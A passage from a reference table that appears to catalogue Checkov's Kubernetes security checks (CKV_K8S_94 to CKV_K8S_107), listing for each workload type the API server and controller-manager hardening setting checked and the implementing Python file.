[ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7370 | CKV_K8S_94 | resource | DaemonSet | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7371 | CKV_K8S_94 | resource | Deployment | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7372 | CKV_K8S_94 | resource | DeploymentConfig | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7373 | CKV_K8S_94 | resource | Job | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7374 | CKV_K8S_94 | resource | Pod | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7375 | CKV_K8S_94 | resource | PodTemplate | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7376 | CKV_K8S_94 | resource | ReplicaSet | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7377 | CKV_K8S_94 | resource | ReplicationController | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7378 | CKV_K8S_94 | resource | StatefulSet | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py) | | 7379 | CKV_K8S_95 | resource | CronJob | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7380 | CKV_K8S_95 | resource | DaemonSet | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7381 | CKV_K8S_95 | resource | Deployment | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7382 | CKV_K8S_95 | resource | DeploymentConfig | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7383 | CKV_K8S_95 | resource | Job | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7384 | CKV_K8S_95 | resource | Pod | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7385 | CKV_K8S_95 | resource | PodTemplate | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7386 | CKV_K8S_95 | resource | ReplicaSet | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7387 | CKV_K8S_95 | resource | ReplicationController | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7388 | CKV_K8S_95 | resource | StatefulSet | Ensure that the --request-timeout argument is set as appropriate | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py) | | 7389 | CKV_K8S_96 | resource | CronJob | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7390 | CKV_K8S_96 | resource | DaemonSet | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7391 | CKV_K8S_96 | resource | Deployment | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7392 | CKV_K8S_96 | resource | DeploymentConfig | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7393 | CKV_K8S_96 | resource | Job | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7394 | CKV_K8S_96 | resource | Pod | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7395 | CKV_K8S_96 | resource | PodTemplate | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7396 | CKV_K8S_96 | resource | ReplicaSet | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7397 | CKV_K8S_96 | resource | ReplicationController | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7398 | CKV_K8S_96 | resource | StatefulSet | Ensure that the --service-account-lookup argument is set to true | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py) | | 7399 | CKV_K8S_97 | resource | CronJob | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7400 | CKV_K8S_97 | resource | DaemonSet | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7401 | CKV_K8S_97 | resource | Deployment | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7402 | CKV_K8S_97 | resource | DeploymentConfig | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7403 | CKV_K8S_97 | resource | Job | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7404 | CKV_K8S_97 | resource | Pod | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7405 | CKV_K8S_97 | resource | PodTemplate | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7406 | CKV_K8S_97 | resource | ReplicaSet | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7407 | CKV_K8S_97 | resource | ReplicationController | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7408 | CKV_K8S_97 | resource | StatefulSet | Ensure that the --service-account-key-file argument is set as appropriate | Kubernetes | [ApiServerServiceAccountKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py) | | 7409 | CKV_K8S_99 | resource | CronJob | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7410 | CKV_K8S_99 | resource | DaemonSet | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7411 | CKV_K8S_99 | resource | Deployment | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7412 | CKV_K8S_99 | resource | DeploymentConfig | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7413 | CKV_K8S_99 | resource | Job | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7414 | CKV_K8S_99 | resource | Pod | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7415 | CKV_K8S_99 | resource | PodTemplate | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7416 | CKV_K8S_99 | resource | ReplicaSet | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7417 | CKV_K8S_99 | resource | ReplicationController | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7418 | CKV_K8S_99 | resource | StatefulSet | Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate | Kubernetes | [ApiServerEtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py) | | 7419 | CKV_K8S_100 | resource | CronJob | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7420 | CKV_K8S_100 | resource | DaemonSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7421 | CKV_K8S_100 | resource | Deployment | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7422 | CKV_K8S_100 | resource | DeploymentConfig | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7423 | CKV_K8S_100 | resource | Job | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7424 | CKV_K8S_100 | resource | Pod | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7425 | CKV_K8S_100 | resource | PodTemplate | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7426 | CKV_K8S_100 | resource | ReplicaSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7427 | CKV_K8S_100 | resource | ReplicationController | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7428 | CKV_K8S_100 | resource | StatefulSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [ApiServerTlsCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py) | | 7429 | CKV_K8S_102 | resource | CronJob | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7430 | CKV_K8S_102 | resource | DaemonSet | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7431 | CKV_K8S_102 | resource | Deployment | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7432 | CKV_K8S_102 | resource | DeploymentConfig | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7433 | CKV_K8S_102 | resource | Job | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7434 | CKV_K8S_102 | resource | Pod | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7435 | CKV_K8S_102 | resource | PodTemplate | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7436 | CKV_K8S_102 | resource | ReplicaSet | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7437 | CKV_K8S_102 | resource | ReplicationController | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7438 | CKV_K8S_102 | resource | StatefulSet | Ensure that the --etcd-cafile argument is set as appropriate | Kubernetes | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py) | | 7439 | CKV_K8S_104 | resource | CronJob | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7440 | CKV_K8S_104 | resource | DaemonSet | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7441 | CKV_K8S_104 | resource | Deployment | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7442 | CKV_K8S_104 | resource | DeploymentConfig | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7443 | CKV_K8S_104 | resource | Job | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7444 | CKV_K8S_104 | resource | Pod | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7445 | CKV_K8S_104 | resource | PodTemplate | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7446 | CKV_K8S_104 | resource | ReplicaSet | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7447 | CKV_K8S_104 | resource | ReplicationController | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7448 | CKV_K8S_104 | resource | StatefulSet | Ensure that encryption providers are appropriately configured | Kubernetes | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py) | | 7449 | CKV_K8S_105 | resource | CronJob | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7450 | CKV_K8S_105 | resource | DaemonSet | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7451 | CKV_K8S_105 | resource | Deployment | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7452 | CKV_K8S_105 | resource | DeploymentConfig | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7453 | CKV_K8S_105 | resource | Job | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7454 | CKV_K8S_105 | resource | Pod | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7455 | CKV_K8S_105 | resource | PodTemplate | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7456 | CKV_K8S_105 | resource | ReplicaSet | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7457 | CKV_K8S_105 | resource | ReplicationController | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7458 | CKV_K8S_105 | resource | StatefulSet | Ensure that the API Server only makes use of Strong Cryptographic Ciphers | Kubernetes | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py) | | 7459 | CKV_K8S_106 | resource | CronJob | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7460 | CKV_K8S_106 | resource | DaemonSet | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7461 | CKV_K8S_106 | resource | Deployment | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7462 | CKV_K8S_106 | resource | DeploymentConfig | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7463 | CKV_K8S_106 | resource | Job | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7464 | CKV_K8S_106 | resource | Pod | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7465 | CKV_K8S_106 | resource | PodTemplate | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7466 | CKV_K8S_106 | resource | ReplicaSet | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7467 | CKV_K8S_106 | resource | ReplicationController | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7468 | CKV_K8S_106 | resource | StatefulSet | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate | Kubernetes | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py) | | 7469 | CKV_K8S_107 | resource | CronJob | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7470 | CKV_K8S_107 | resource | DaemonSet | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7471 | CKV_K8S_107 | resource | Deployment | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7472 | CKV_K8S_107 | resource | DeploymentConfig | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7473 | CKV_K8S_107 | resource | Job | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7474 | CKV_K8S_107 | resource | Pod | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7475 | CKV_K8S_107 | resource | PodTemplate | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7476 | CKV_K8S_107 | resource | ReplicaSet | Ensure that the --profiling argument is set to false | Kubernetes | 